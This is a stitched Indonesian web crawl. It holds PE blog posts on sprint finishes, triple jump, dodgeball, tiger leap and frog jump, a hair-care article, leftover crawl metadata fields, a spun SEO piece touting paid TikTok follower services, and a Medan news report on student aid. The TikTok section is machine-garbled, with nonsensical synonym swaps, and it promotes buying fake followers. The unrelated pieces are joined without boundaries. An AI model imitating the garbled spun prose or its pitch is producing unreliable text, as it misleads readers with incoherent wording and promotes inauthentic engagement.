Menjatuhkan tubuh ke arah depan – Cara ini pun sama menguntungkannya dengan cara sebelumnya, namun tingkat kesulitannya pasti jauh lebih tinggi. Rata-rata sprinter yang sudah profesional dan terkenal-lah yang menggunakan cara memasuki garis finish satu ini.
Berlari lurus terus tanpa perubahan sikap tubuh – Bila kedua cara sebelumnya memiliki tingkat kesulitan agak tinggi, maka cara satu ini sebenarnya adalah yang paling mudah. Sayangnya menjadi kurang menguntungkan bagi si pelari sendiri sebab tak adanya perubahan posisi tubuh.
Kombinasi memiringkan dan merebahkan tubuh ke depan – Supaya lebih menguntungkan lagi, mengombinasikan cara pertama dan kedua adalah ide yang cemerlang dan layak untuk dicoba.
Tak hanya cara-cara bagaimana memasuki garis finish yang benar yang perlu diperhatikan, para pelari pun harus tahu apa saja yang tidak diperbolehkan sewaktu melewati garis finish. Pelari tak boleh melompat sewaktu masuk ke garis finish, pelari juga tak boleh dengan tangan mencoba meraih pita garis finish, dan satu lagi pelari saat sudah di garis finish tak boleh berhenti secara tiba-tiba.
Demikianlah teknik lari sprint yang benar dan hendaknya Anda bisa mencari cara memilih sepatu lari yang tepat agar lebih nyaman sewaktu berpartisipasi dalam lomba. Tak hanya itu, selalu waspada ketika latihan maupun perlombaan untuk menghindari jenis cedera saat berlari.
8 April 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik
7 Teknik Lompat Jangkit Lengkap Beserta Gambarnya
by Rita Nora 5 April 2018
written by Rita Nora
Lompat jangkit juga dikenal dengan istilah triple jump dan masih termasuk di dalam golongan cabang lompat pada jenis olahraga atletik. Inti gerakan pada lompat jangkit ini adalah melakukan lompatan dalam 3 tahap di mana pendaratan dilakukan pada bak pasir. Mirip dengan teknik lompat jauh, lompat jangkit sebenarnya perlu dilakukan dalam 3 kali tolakan, sedangkan lompat jauh hanya sekali saja.
Olahraga yang pertama kalinya pada tahun 1896 termasuk di dalam olimpiade modern yang diadakan di Yunani ini awalnya hanya boleh dimainkan oleh para laki-laki saja. Namun, olahraga yang dimenangkan oleh James Connolly pada kali pertamanya diikutsertakan pada olimpiade modern di Yunani ini akhirnya terbuka bahkan bagi para atlet perempuan.
Berbicara soal teknik lompat jangkit, walau tampak sama tetap saja tekniknya berbeda dari lompat jauh atau bahkan teknik lompat katak. Berikut ini adalah uraian lengkap mulai dari teknik awalan, tolakan, pada waktu melayang, hingga teknik mendarat yang paling benar.
Teknik Awalan
Pada waktu melakukan teknik gerakan awal dalam lompat jangkit, pada dasarnya awalannya sama seperti ketika Anda melakukan lompat jauh. Anda harus lebih dulu melakukan aksi berlari dengan jarak kurang lebih 45 meter dengan target papan tolakan yang dituju. Dari situlah, Anda baru akan bisa melakukan tolakan yang pertama.
Sebelum berlari, ancang-ancang sangatlah diperlukan, yakni dengan posisi awal start berdiri sebagai bagian dari persiapan.
Anda perlu mengatur nafas lebih dulu supaya tubuh jauh lebih rileks.
Fokuskanlah pandangan ke bagian papan tolakan dan larilah ketika sudah siap.
Jagalah agar kecepatan berlari tetap tinggi dan konstan di mana tujuan utamanya adalah agar memperoleh momentum lompatan paling sesuai.
Penting pula agar kaki tumpu penempatannya bisa tepat di bagian balok.
Teknik Tolakan
Pada bagian tolakan lompat jangkit, ada 3 tahapan yang perlu diperhatikan, terutama oleh para atlet pemula. Tolakan terbagi menjadi 3 fase, sewaktu berjingkat, melangkah, hingga melompat yang tentunya penting dipahami dengan benar supaya eksekusinya bisa sempurna.
Gerakan Tolakan saat Berjingkat – Atlet harus tahu bahwa kaki penolak dalam gerakan ini perlu secara aktif mendarat dan bersiap untuk gerakan menendang. Saat berjingkat atau berjinjit, pastikan agar atlet melakukannya secara datar namun memanjang sebelum melakukan tolakan ke atas bagian depan.
Gerakan Tolakan saat Melangkah – Atlet harus bertindak cepat dalam tahap ini di mana paha atau kaki bisa diayunkan secara bebas namun tetap secara horisontal. Atlet setelahnya harus bersiap melompat sesaat setelah dari mempertahankan posisi bertolak.
Gerakan Tolakan saat Melompat – Atlet harus menggerakkan paha kaki secara horisontal dan ayunan pun seharusnya bisa dilakukan secepat mungkin. Supaya bisa melompat dengan benar, jauh dan maksimal, penting untuk mengangkat lengan dengan mengarahkannya ke atas depan.
Teknik Sewaktu Melayang
Dari setelah gerakan tolakan, Anda pun perlu memahami gerakan yang benar sewaktu berada di udara. Pada gerakan melayang ini pun sebetulnya tak jauh berbeda dari apa yang dipelajari pada teknik lompat jauh. Ada 2 gaya gerakan yang bisa coba dipraktikkan, yaknik gaya seperti sedang berjalan di udara atau gaya menggantung biasa.
Gaya Berjalan – Jika memilih gerakan melayang di udara dengan gaya berjalan, maka yang perlu diperhatikan adalah kita harus membusungkan sedikit bagian dada di tolakan posisi awal. Lanjutkanlah dengan kedua tangan bisa berayun ke arah belakang di mana gerakannya persis seperti sewaktu kita tengah berlari. Setelah tangan, kaki pun juga kita turut ayunkan ke arah depan persis seperti gerakan sedang berjalan.
Gaya Menggantung – Jika memilih gerakan melayang di udara dengan gaya menggantung, maka yang perlu diperhatikan adalah kedua tangan kita haruslah lebih dulu diposisikan pada sisi telinga bagian dalam (pastikan posisinya ke atas lurus). Barulah kemudian kedua kaku menyusul dengan posisi merapat dan mengayun dari arah belakang menuju depan. Untuk awal tolakan, busungkan dada sedikit dan gerakkan ke belakang sementara kita bisa mengayunkan badan dan lutut ke depan sekuat tenaga.
Teknik Mendarat
Supaya menghindari cedera, maka pendaratan pada lompat jangkit perlu dilakukan dengan kedua kaki meski sebenarnya pendaratan dengan satu kaki pun sangat boleh. Hanya saja, teknik mendarat hana dengan satu kaki justru memperbesar risiko atlet mengalami cedera yang parah.
Luruskan lutut kaki ke depan.
Tekuklah sedikit bagian lengan.
Posisikan lutut dan tubuh serileks mungkin sewaktu pendaratan.
Posisikan kaki di depan sewaktu kedua kaki sudah hampir sampai di tempat mendarat.
Jadikan tumit kaki keduanya sebagai tumpuan awal ketika mendarat.
Posisikan kedua tangan ke depan ketika tumit kaki dua-duanya sudah mendarat.
Bungkukkan badan sedikit supaya pendaratan tereksekusi secara baik.
Pastikan untuk selalu menjaga tubuh tetap seimbang dalam sikap pendaratan karena bila tidak, tubuh akan lebih gampang jatuh ke belakang.
Sebenarnya tak masalah bila terjatuh ke belakang karena para atlet umumnya menggunakan energi sangat besar sewaktu melompat sehingga memang sulit mengendalikan dan menahan tubuh untuk tak terjengkang. Seperti itulah teknik lompat jangkit mulai dari awal hingga akhir saat mendarat dengan benar, cukup berbeda dari teknik lompat harimau sekalipun namun termasuk sebagai olahraga yang mudah dilakukan.
5 April 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Olahraga A - Z
4 Teknik dalam Permainan Dodgeball Sederhana untuk Diketahui
by Rita Nora 6 February 2018
written by Rita Nora
Dodgeball walau masih tampak asing bagi masyarakat Indonesia sendiri, permainan ini merupakan salah satu jenis olahraga yang sudah cukup banyak dipraktikkan. Dodgeball memang bukanlah termasuk cabang olahraga, namun permainan ini juga bisa dianggap sebuah aktivitas olahraga atau aktivitas fisik yang menyenangkan. Permainan dodgeball dapat dilakukan dengan benar bila mengetahui teknik dalam permainan dodgeball itu sendiri.
Two for One
Berbagai cara bisa dilakukan untuk proses melempar bola dan hal ini tentunya juga ditentukan oleh kekuatan lengan berikut juga jarak kita dengan lawan. Teknik untuk hal ini adalah dengan meraih dua bola di saat yang sama supaya perhatian lawan bisa teralihkan. Bola kemudian bisa dibuang secara bersamaan menggunakan gerakan kincir angin.
Ketika sejumlah pemain menghadapi kesulitan dalam menyerang tim lawan ketika melemparkan dua buah bola sekaligus, gerakan kincir angin untuk satu bola bisa dipilih. Ketika satu bola dilepaskan, maka inilah cara efektif untuk membuat lawan mengelak yang artinya perhatian berhasil kita alihkan untuk kemudian melakukan penyerangan kedua.
Mempertahankan Ketenangan
Pada permainan dodgeball, salah satu teknik agar tidak mudah panik dan akhirnya justru terserang oleh pemain lawan adalah dengan mempertahankan ketenangan. Ketika bola mendekat, jangan kemudian bingung atau panik karena yang perlu dilakukan hanyalah menghindar sejauh mungkin untuk menjauhkan diri dari lemparan bola tersebut.
Ketika berpindah atau bergerak jauh, waspadai akan adanya serangan dari jalur bola lainnya sehingga perhitungkan pula seberapa jauh kita hendak bergerak sambil mata juga tetap awas saat menghindari bola yang dilemparkan ke arah kita. Karena tim lawan bisa menyerang dengan beberapa bola ke arah kita dalam satu waktu, penting untuk memerhatikan gerakan sambil tetap tenang.
Tubuh dan Lengan sebagai Pengendali Bola
Teknik lainnya yang perlu untuk kita ketahui dan praktikkan adalah di mana kita menggunakan tubuh sekaligus lenggan sebagai pengendali bola supaya kita bisa menangkap bola yang diarahkan secara lebih sempurna. Saat kita berhasil menangkap bola yang dilemparkan untuk menyerang kita, ini akan membuat pemain penyerang kita keluar dari permainan sekaligus menyelamatkan rekan setim yang sudah keluar untuk bergabung kembali ke dalam permainan.
Sementara itu, akan terjadi sebaliknya ketika kita hanya menyentuh bola yang menyerang ke arah kita tanpa kita dapat menangkapnya otomatis kitalah yang bakal tereliminasi dan harus keluar dari permainan. Bila memang memungkinkan, bola yang melambung mendekat bisa kita kendalikan menggunakan lengan sehingga bola bisa kita tangkap secara lebih mudah. Namun, tetap waspada karena saat bola dengan mudah ditangkap, itu artinya akan ada serangan susulan secara cepat, jadi tetaplah fokus ke seluruh pemain lawan sewaktu kita ingin menangkap bola.
Menyerang Bersama Rekan Setim
Untuk mengalahkan lawan secara lebih mudah, penyerangan dengan cara bekerja sama bersama rekan setim adalah ide yang bagus. Apabila kita dan tim kita memiliki bola, pergerakan bisa dilakukan menuju arah garis tengah supaya serangan bisa dilakukan tanpa memberikan waktu reaksi pada tim lawan.
Kendalikan lebih dulu pemain dari tim lawan dan hal ini bisa dilakukan oleh rekan setim pertama yang bisa melemparkan bola ke arah lawan. Sementara itu rekan satu tim yang kedua dapat berperan sebagai pelempar bola ke arah lawan yang menuju dan hendak menyerang ke arah kita sehingga membuat lawan sulit menghindar nantinya.
Teknik dari bermain dodgeball berbeda dari teknik bola tangan dan tentunya hal ini perlu untuk menjadi pengetahuan kita bersama agar performa saat bermain dodgeball lebih baik. Walau permainan ini masih menuai kontroversi, namun fokuslah pada tujuan baik dari permainan ini, yakni untuk bersenang-senang sekaligus memperperat kerjasama dan pertemanan.
6 February 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Penjaskes
3 Teknik Lompat Harimau Paling Tepat
by Rita Nora 23 January 2018
written by Rita Nora
Lompat harimau merupakan sebuah jenis olahraga yang masih termasuk dalam gerak senam lantai dan sebenarnya adalah suatu gerakan pengembangan dari salto atau cara melakukan roll depan. Gerakan lompat harimau tentunya juga banyak dari kita yang sudah mengenalnya karena sewaktu duduk di bangku sekolah sudah cukup mempelajarinya. Namun bedanya dari salto depan, teknik lompat harimau jarak gerak lompatan sewaktu berada di udara lebih jauh.
Seperti halnya dalam hal mengenal teknik lompat jauh, ada beberapa teknik yang perlu untuk dikenal dan diperhatikan, yakni sikap awal, lalu proses dari lompatan itu sendiri, hingga teknik pendaratan yang benar. Bila anak-anaklah yang melakukan teknik olahraga ini, akan lebih menarik dilakukan ketika melakukan sikap awal berdiri yang kemudian berguling ke arah depan sebagai gerak akhir.
Lompat harimau walau merupakan sebuah pengembangan gerakan dari salto depan, hal ini tentu tak mudah karena bila salah gerakan sedikit saja dapat menyebabkan kita jatuh terutama dalam suatu sikap yang tak terduga. Kekuatan bahu, lengan dan tangan merupakan suatu kunci untuk bisa melakukan gerakan teknik ini dengan baik.
Sikap Awalan
Pada awalan dari teknik lompat harimau, yang paling terpenting adalah membentuk sikap berdiri di mana tubuh harus tegak dan kedua lengan ada di sisi tubuh. Pastikan juga untuk mengarahkan fokus pandangan ke depan dan dilanjutkan dengan mengambil ancang-ancang untuk berlari.
Sikap siap berlari ini pun harus juga sudah dipertimbangkan kecepatan tertentu yang hendak diambil atau dilakukan. Untuk jarak mengambil awalan sebenarnya bervariasi yang ditentukan oleh ketinggian dari penanda yang sudah disiapkan. Beberapa langkah atau banyak langkahnya jarak pengambilan awalan bisa dilihat dari penanda dengan teliti.
Melompat dan Berguling
Setelah mengambil sikap untuk siap berlari, lanjutkan dnegan posisi berdiri tegak yang lalu bergerak untuk berlari cepat. Sesudah dekat dengan penanda, maka gerakan tolakanlah yang perlu dilakukan di mana berat badan bisa ditumpukan ke kedua kaki. Angkat tubuh ke atas atau ambil gerakan melompat untuk melewati penanda yang telah disediakan.
Setelah melompatinya, maka kita baru bisa mengakhiri teknik ini dengan cara menggulingkan tubuh ke arah depan. Gerakan berguling ke depan biasanya perlu dilakukan dengan kedua tangan menyentuh matras dan tangan menumpu kuat-kuat sambil tubuh sekaligus kaki digerakkan ke depan di mana gerakan tangan punggung bisa mengikutinya. Pada posisi tersebut, tubuh pun perlu menyentuh matras.
Sikap Akhir/Teknik Pendaratan
Setelah melompat dan berguling, teknik selanjutnya yang penting untuk diperhatikan adalah teknik mengakhiri gerakan. Pendaratan perlu dilakukan dengan sempurna dari rangkaian gerak yang sudah diinformasikan di atas. Gerakan berguling adalah yang paling tepat dilakukan setelah melakukan lompatan.
Gerakan berguling perlu dilakukan 2-3 kali tergantung dari kondisi lompatan sebelumnya. Tak hanya berguling, setelah berguling pun masih harus dilanjutkan dengan posisi jongkok pada akhir gerakan. Sebagai posisi akhir, kedua tangan bisa kita angkat lurus ke depan yang diselaraskan dengan gerakan tubuh yang berguling.
Sementara itu, bagian kaki pun juga perlu diperhatikan, yakni kedua kaki menapak secara sempurna sehingga tubuh tak terjatuh atau limbung ke arah kiri atau kanan. Seluruh tubuh harus pada posisi-posisinya yang benar agar eksekusi gerakan lompat harimau benar-benar bisa diakhiri dengan baik tanpa jatuh atau mengalami cedera.
Ada kemungkinan anak-anak akan mengalami kesulitan dalam menggulingkan badan ketika harus melewati tahap melompat dan berguling. Namun pada umumnya, guru atau asisten bisa menjadi pendamping yang akan membantu proses tersebut agar anak tidak salah dan cedera ketika melakukan gerakan-gerakan dari awal hingga pendaratan.
Rangkuman Teknik Gerakan
Setelah melihat rangkaian teknik yang diulas sebelumnya, berikut ini adalah rangkuman tahapan gerak teknik lompat harimau yang paling tepat untuk dilakukan. Agar bisa melatihnya dengan lebih mudah, maka inilah ketiga tahapan inti yang wajib dieksekusi dengan benar agar memperkecil risiko jatuh dan cedera pada anak.
Ambil sikap berdiri lebih dulu di awal dan kemudian ambil persiapan untuk berlari yang kecepatannya bisa disesuaikan.
Pada beberapa langkah terakhir di teknik awalan, kita bisa bersiap-siap untuk melakukan tolakan.
Pada penolakan, kedua kakilah yang ditolakkan sehingga badan bisa terdorong ke arah depan.
Bengkokkan pergelangan kaki serta lutut supaya bisa meloncat ke arah atas dan depan.
Lanjutkan dengan meluruskan tungkai sambil mengayunkan lengan ke arah depan lalu dilanjutkan dengan pendaratan pada matras lebih dulu.
Untuk akhiran, tekuklah kepala sampai benar-benar menunduk sampai punggung melengkung. Dengan postur tersebut, gerakan gulingan ke depan akan terjadi dengan lebih mudah dan natural.
Akhir posisi adalah berjongkok di mana tangan diluruskan ke arah depan di mana pandangan pun turut mengarah ke depan.
Tips Peralatan
Ada beberapa hal yang perlu digunakan dalam lompat harimau dan berikut ini adalah sedikit penjelasan singkat akan peralatan atau sarana prasarana apa yang diperlukan dalam olahraga satu ini.
Penanda
Apabila ada penanda, maka penanda tersebut tidak sebaiknya dipasang terlalu tinggi apalagi bila lompat harimau dilakukan oleh anak-anak. Untuk lompat harimau bagi anak-anak, penanda harus bisa dicapai atau dilewati oleh anak-anak yang melompatinya. Jika terlalu tinggi, anak-anak akan menganggapnya sebagai hambatan yang terlalu sulit untuk dilewati.
Matras
Matras tebal adalah perlengkapan selanjutnya yang wajib digunakan selama olahraga lompat harimau karena olahraga ini lebih banyak dilakukan oleh anak-anak. Tingkat ketebalan matras harus cukup tinggi dan penggunaan matras lebar juga diperlukan supaya meminimalisir risiko cedera sewaktu pendaratan.
Penting untuk mendapatkan pengawasan dari guru dalam melakukan setiap teknik lompat harimau ini dari awalan hingga akhir pendaratan yang benar. Pada umumnya, teknik-teknik pada olahraga ini akan diberikan sesudah guru memberi latihan kekuatan bahu, lengan dan tangan berikut pengajaran akan gerakan gulingan ke depan.
Berbahaya untuk berhenti di tengah jalan saat sudah melakukan gerakan melompat seperti halnya pada gerakan teknik lompat katak serta teknik lompat tinggi; gerakan melompat yang tak total malah justru akan memperbesar risiko cedera. Mungkin karena rasa takut atau ragu jadi memilih untuk berhenti, namun justru sebaiknya tetap berguling walau hasilnya tidak bisa lurus ketimbang berhenti yang malah mengakibatkan cedera serius nantinya.
23 January 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Penjaskes
5 Teknik Lompat Katak yang Benar
by Rita Nora 21 January 2018
written by Rita Nora
Lompat katak tentu sudah bukan olahraga yang asing lagi bagi kita karena di sekolah dalam mata pelajaran Penjaskes pun kita pasti diajarkan untuk melakukan jenis kegiatan ini seperti halnya cara melakukan roll depan, hingga teknik senam irama. Tak hanya di sekolah, latihan olahraga teknik lompat katak pada dasarnya juga dapat dilakukan di rumah, baik di dalam maupun luar ruangan sehingga sangat mudah dan sederhana.
Dasar Lompat Katak
Untuk melakukan dasar gerakan dari lompat katak, pada posisi awal kita perlu mengambil sikap berdiri tegak dengan kedua kaki yang dibuka selebar bahu. Lalu, masuklah ke dalam posisi squat, yakni setengah jongkok atau posisi seperti hendak duduk di mana bokong dicondongkan ke belakang sementara tubuh bagian atas tetap coba diluruskan.
Posisi squat sebaiknya diambil senyaman mungkin sebagai ancang-ancang untuk melompat ke depan. Sebaiknya pun lompatan dilakukan setidaknya sejauh 1 kaki ke depan, namun bisa disesuaikan juga jauhnya dengan kemampuan dan keinginan Anda. Jangan lupa untuk mengambil waktu dengan berhenti untuk bernapas sebelum melakukan lompatan kembali.
Saat Melompat
Ketika melakukan olahraga lompat katak dan melakukan dasar gerakan lompatan, percaya atau tidak, Anda akan masuk ke dalam lompatan yang cukup intens. Lebih dianjurkan untuk tidak melakukan lompatan biasa sekadar melompat, Anda perlu melakukan lompatan setinggi yang Anda bisa di udara. Namun ketika tak yakin tak perlu melakukannya supaya tak terjadi cedera.
Lompatan dengan Satu Kaki
Untuk melakukan jenis gerakan lompat katak dengan satu kaki, maka di awal posisi tubuh adalah berjongkok dengan satu kaki ditekuk seperti posisi seorang pria hendak melamar seorang wanita. Kedua tangan bisa diturunkan dan berada pada sisi kaki yang ada di depan atau bisa juga ada di belakang punggung.
Selanjutnya, seluruh tumpuan berat badan bisa dipindahkan dari lutut ke kaki yang ada di depan di mana posisi tangan bertugas sebagai penyeimbang posisi, dan lutut bisa diangkat dari permukaan lantai. Dari posisi squat dengan satu kaki, melompatlah setinggi yang Anda mampu dalam satu kali gerakan besar dan mendaratlah dengan kaki yang tadi berada pada posisi squat. Lakukan beberapa kali repetisi sambil juga tak lupa bergantian dengan kaki lainnya.
Teknik Pernapasan
Merangkum gerakan yang sudah sempat diulas sebelumnya, jadi instruksi dari lompat katak itu sendiri antara lain seperti di bawah ini:
Ambil posisi berdiri atau setengah berjongkok dengan kedua kaki dibuka selebar bahu.
Melompatlah ke depan dan tinggi.
Pastikan pendaratan dilakukan dengan jari-jari kaki dan bukan tumit, serta posisi pendaratan adalah dengan squat.
Melompatlah kembali ke belakang untuk berada di posisi awal.
Ulangi gerakan melompat ke depan dan ke belakang sampai set selesai dilaksanakan dan pengaturan set bisa dilakukan sesuai dengan kemampuan fisik atau keinginan target yang sudah dibuat oleh Anda.
Sementara itu, untuk teknik pernapasan sendiri pun ada polanya di mana wajah bisa tetap ke arah depan sambil menjaga tubuh inti tetap seimbang namun bagian pundak agak ke belakang. Tekukkan lutut pastikan untuk menghadap ke arah yang sama dengan kaki dan lakukan squat serendah mungkin atau semampu Anda tanpa membiarkan lutut melebihi jari-jari kaki.
Ambil posisi duduk di atas tumit dan melompatlah dengan posisi atau gerakan lengan ke belakang, lalu lakukan pendaratan secara perlahan pada jari-jari kaki dan dengan posisi ini, Anda bisa mengambil nafas sambil melakukan squat. Pernapasan dapat dilakukan tanpa terburu-buru dan ambil nafas secara benar.
Set dan Repetisi
Ada baiknya sebelum melakukan olahraga lompat katak, Anda bisa berlatih fisik lebih dulu melalui jump squat dan bodyweight squat. Hal ini akan membantu tubuh untuk tak mudah goyah ketika melakukan lompatan. Pastikan pula untuk melakukan teknik dasarnya 10-15 kali dalam 1 set di mana per setnya adalah berdurasi 30 detik.
Itulah beberapa teknik lompat katak yang penting untuk kita ketahui dan kiranya dengan sekilas ulasan ini dapat membantu Anda yang ingin memulai olahraga lompat katak.
21 January 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Newer Posts
Older Posts
Recommended Read
2 Teknik Pukulan Forehand Tenis Meja Beserta Kelebihannya
Cara Melakukan Teknik Backhand Tenis Meja
2 Sistem Pertahanan Dalam Permainan Tenis Meja
8 Teknik Dasar Senam Lantai dan Penjelasannya
4 Cara Melakukan Handstand Dalam Senam Lantai
Tags
AC Milan Arsenal As Roma atletik barcelona basket Big Match Bola Internasional Bola Nasional bulutangkis bulu tangkis bursa transfer Chelsea Inter Milan Jadwal Basket Hari Ini Jadwal Basket NBA Hari Ini jadwal bola Jadwal Bola Hari Ini jadwal siaran bola jadwal siaran langsung Jadwal Siaran Langsung Basket Jadwal Siaran Langsung Basket Hari Ini Jadwal Siaran Langsung Bola Jadwal Siaran Langsung Bola Hari Ini jadwal tinju Juventus lari Liga Champions Liga Inggris liga italia Liga Spanyol liverpool manchester city manchester united motogp pemain bola Persija Jakarta pertandingan tinju prediksi real madrid sepak bola Shoppe Liga 1 teknik dasar tinju tinju dunia


content:
PortalMadura.Com – Rambut adalah mahkota bagi perempuan. Memiliki rambut yang sehat adalah impian setiap orang namun tidak semua orang memiliki rambut yang sehat, banyak permaslaahan rambut yang membuat rambut Anda rusak. Permasalahan yang sering dialami oleh kebanyakan orang adalah rambut bercabang, kering, dan rontok.
Setiap permasalahan pada rambut ini memiliki cara yang berbeda dalam perawatannya. Sebelum Anda melakukan perawatan rambut sebaiknya Anda mengetahui terlebih dahulu masalah rambut Anda. Berikut berbagai kerusakan pada rambut Anda dan cara mengatasinya dilansir dari laman Fimela.com, Senin (4/1/2021).
Bercabang
Rambut bercabang adalah kerusakan yang sering dialami oleh banyak orang. Rambut bercabang ini disebabkan karena nutrisi tidak mencapai pada ujung rambut sehingga rambut terbelah menjadi dua. Rambut bercabang ini akan membuat rambut tidak kuat sehingga akan mudah patah. Cara mengatasi permasalahan ini dengan memotong rambut untuk menghilangkan ujung rambut yang bercabang. Sebaiknya lakukan perawatan rutin setiap dua bulan sekali dengan menggunakan serum untuk mengatasi rambut yang bercabang.
Baca Juga: 5 Perbedaan Clay dan Pomade, Kaum Pria Wajib Baca!
Rusak Akibat Proses Pewarnaan
Mewarnai rambut memang akan membuat penampilan Anda terlihat berbeda. Namun cat rambut yang mengandung bahan kimia akan membuat rambut Anda rusak. Cara mengatasi kerusakan pada rambut yang akan Anda warnai adalah dengan menggunakan cat rambut yang tidak developer terlalu kuat.
Kerusakan Akibat Proses Kimiawi
Jika Anda melakukan perawatan rambut dengan proses kimia akan berisiko mengalami kerusakan pada rambut Anda. Sebaiknya gunakan perawatan praktif yang meningkatkan kesehatan dan nutrisi rambut yang kedua. Lakukan rutinitas ini secara konsisten setiap minggu selama 4 sampai 6 minggu.
Kerusakan Akibat Alat Panas
Alat penata rambut yang panas akan membuat rambut Anda rusak karena panas membuka kutikula pada rambut. Sehingga rambut menjadi kering dan cara mengatasinya adalah dengan tidak mengatur suhu panas terlalu tinggi dan usahakantidak menggunakan alat setiap hari.
Baca Juga: 5 Perbedaan Clay dan Pomade, Kaum Pria Wajib Baca!
Penipisan Atau Rambut Rontok
Masalah ini sering dialami oleh setiap orang baik laki-laki maupun perempuan. Penipisan batang rambut tanpa pelepasan disebut sebagai miniaturisasi atau yang biasa terjadi pada kaum perempuan adalah androgenetic alopecia. Namun rambut rontok juga bisa disebabkan oleh hal lain salah satunya kekurangan nutrisi. Maka cara mengatasi rambut rontok lakukan perawtan khusus dengan menggunakan produk yang dikhususkan untuk rambut rontok.

warc-type: conversion

content-type: text/plain

warc-identified-content-language: ind

label: id


content:
Tidak khawatir bahwa ingin memilih jasa followers Tiktok utama semuanya tersedia caranya. Masih banyak bangsa yang senang bermain supel m...
December 28, 2021
Pedoman Menyeleksi Jasa Followers Tiktok Terpopuler
Tidak khawatir bahwa ingin memilih jasa followers Tiktok utama semuanya tersedia caranya. Masih banyak bangsa yang senang bermain supel media khususnya adalah Tiktok sebab agak menarik. Di dalam Tiktok siap banyak sekali rekreasi dan juga informasi yang menarik dalam Anda. Kecuali itu, Tiktok juga bisa dimanfaatkan utk mencari uang dengan fasilitas membuka usaha endors / menjual komoditas. Namun kalau Anda yang memiliki peringkat followers terbatas mungkin belum bisa berdampakberefek, berimbas besar beserta media sosial Anda untuk mencari penghasilan jadi manfaatkan jasa terus followers.
jasa followers tiktok indonesia , Anda perlu memanfaatkan servis tambah followers sebab amat cepat dalam menambah banyak followers pantas dengan impian Anda. Selain itu, Anda juga sanggup mendapatkan fasilitas yang yang lain sesuai beserta kebutuhan. Walakin jangan asal-asalan memilih jasa tambah followers apalagi mendapatkannya secara on line sebab dikhawatirkan akan tertipu. Nah, dibawah ini merupakan kebiasaan memilih servis tambah followers terbaik dalam Anda manfaatkan.
Cara menyeleksi jasa followers Tiktok terkemuka yang pertama adalah menyeleksi jasa yang dapat menurunkan pelayanan 24 jam. Kecuali itu, masalah lainnya diartikan sebagai dapat memberikan hasil yang cepat serta juga selevel dengan kesempatan. Biasanya pengguna sosial perantara mencari kendaraan yang amat cepat untuk mendapatkan total followers yang banyak. Sebab sebab tersebut, pastikan Engkau memilih satu diantara jasa tambah followers yang memberikan efek atau perolehan yang segera setelah mengerjakan proses transaksi.
Cara merisik jasa terus followers terbaik kedua ialah proses pemesanan mudah semuanya. Sehingga menjelang Anda yang ingin meraih hasil yang cepat tidak perlu riuh sebab sejak proses pemesanan yang agar. Secara biasa, jasa tambah followers memiliki kontak ataupun pelayanan jadi Anda tinggal meminta kecuali jenis servis yang diinginkan. Selanjutnya Kamu tinggal mengawasi pembayaran serta barulah berbuat proses penambahan followers mengacu pada otomatis.
Jalan memilih kebaikan tambah followers terbaik ketiga adalah menyelenggarakan untuk sekitar sosial perangkat secara penuh. Pada umumnya jumlah supel media terdapat banyak maka itu jika Engkau ingin jadi jumlah followers banyak akan lebih gampang. Tidak sama sekali dapat mencampur jumlah followers untuk Tiktok saja namun juga bagi sosial syarat yang yang lain. Anda tinggal memilih rupa sosial prasarana yang pas untuk menurut followers baru dengan pandai.
Cara memilih2x jasa terus followers unggul keempat diartikan sebagai menyediakan jenis layanan yang lengkap. Kecuali memberikan alternatif sosial perangkat yang penuh namun jenis layanan yang lain juga terdapat. Contohnya ialah memberikan fasilitas tambah like, comment, tanda dan yang lainnya selain followers. Alhasil sosial media Anda tambah ramai beserta interaksi yang ada. Oleh karena itu Anda lebih mudah dalam menentukan servis yang dibutuhkan. Itulah peraturan memilih jasa followers Tiktok terbaik yang dapat Kamu gunakan.

label: en


content:
PROSUMUT – Sebanyak 300-an siswa tingkat SMK, SMA dan SD di Yayasan Perguruan (YP) Pencawan menerima bantuan Program Indonesia Pintar (PIP) dari Pemerintah Pusat melalui dr Sofyan Tan.
Dengan adanya bantuan ini, setiap siswa SMA dan SMK akan menerima uang bantuan sebesar Rp1 juta dan setiap siswa SD akan menerima Rp400 ribu.
Penyerahan bantuan PIP tersebut diserahkan oleh Tim Anggota DPR RI dr Sofyan Tan dari Fraksi PDIP dan disaksikan oleh PLT Walikota Medan Ir H Akhyar Nasution MSi di salah satu aula YP Pencawan, Jumat 28 Februari 2020 di Jalan Bunga Ncole Raya, Kelurahan Kemenangan Tani, Medan Tuntungan.
Dalam penyerahan itu, Kepala Sekolah SMA Pencawan, Restu Utama Pencawan mengatakan, pada tahun 2020 ini, penerima PIP dari YP Pencawan paling banyak di Kota Medan.
Hal ini karena ada bantuan dari dr Sofyan Tan dan PLT Walikota Medan Ir H Akhyar Nasution. Semoga apa yang dilakukan mereka memberikan kemudahan bagi banyak orang.
“Semoga bantuan sebesar Rp1 juta per bulan untuk siswa SMA dan SMK ini serta Rp400 ribu per bulan untuk siswa SD, bisa benar-benar bisa dimanfaatkan oleh anak untuk memperjuangkan anaknya menjadi cerdas,” katanya.
Di tempat yang sama, Akhyar Nasution memberikan motivasi kepada orangtua siswa di YP Pencawan. Politisi PDIP itu menyatakan, untuk bersekolah di tengah keterbatasan ekonomi jangan khawatir tak bisa melanjutkan kependidikan yang lebih tinggi. Karena hal itulah masalah sesungguhnya.
“Jika Bapak/ibu yakin ingin melihat anaknya memiliki pendidikan di jenjang yang lebih tinggi, seluruh jalan perjuangan bapak/ibu akan dipermudah, dan setiap perjuangan akan menunjukkan hasil. Saya bicara seperti ini karena saya sudah mengalaminya,” ucap Anggota DPRD Medan periode 1999-2004.
Menurut dia, disaat dirinya bersekolah dulu, belum ada bantuan seperti PIP ini, sekarang sudah ada. Bantuan ini sangat membantu sekali, bila dibandingkan dengan masanya mengecam bangku pendidikan, kondisi itu sangat sulit.
Tapi modal yang dimiliki ketika itu hanya keyakinan dan semangat berjuang. Hasilnya akan dirasakan sesuai dengan jalan perjuangan yang dilalui.
“Alhamdulillah saya punya keyakinan bisa tamat sekolah, dan saya terus berjuang. Kini jawaban dari perjuangan itu bisa dirasakan, dan Tuhan selalu memberi jalan ke orang-orang yang yakin dan berjuang,” ucapnya.
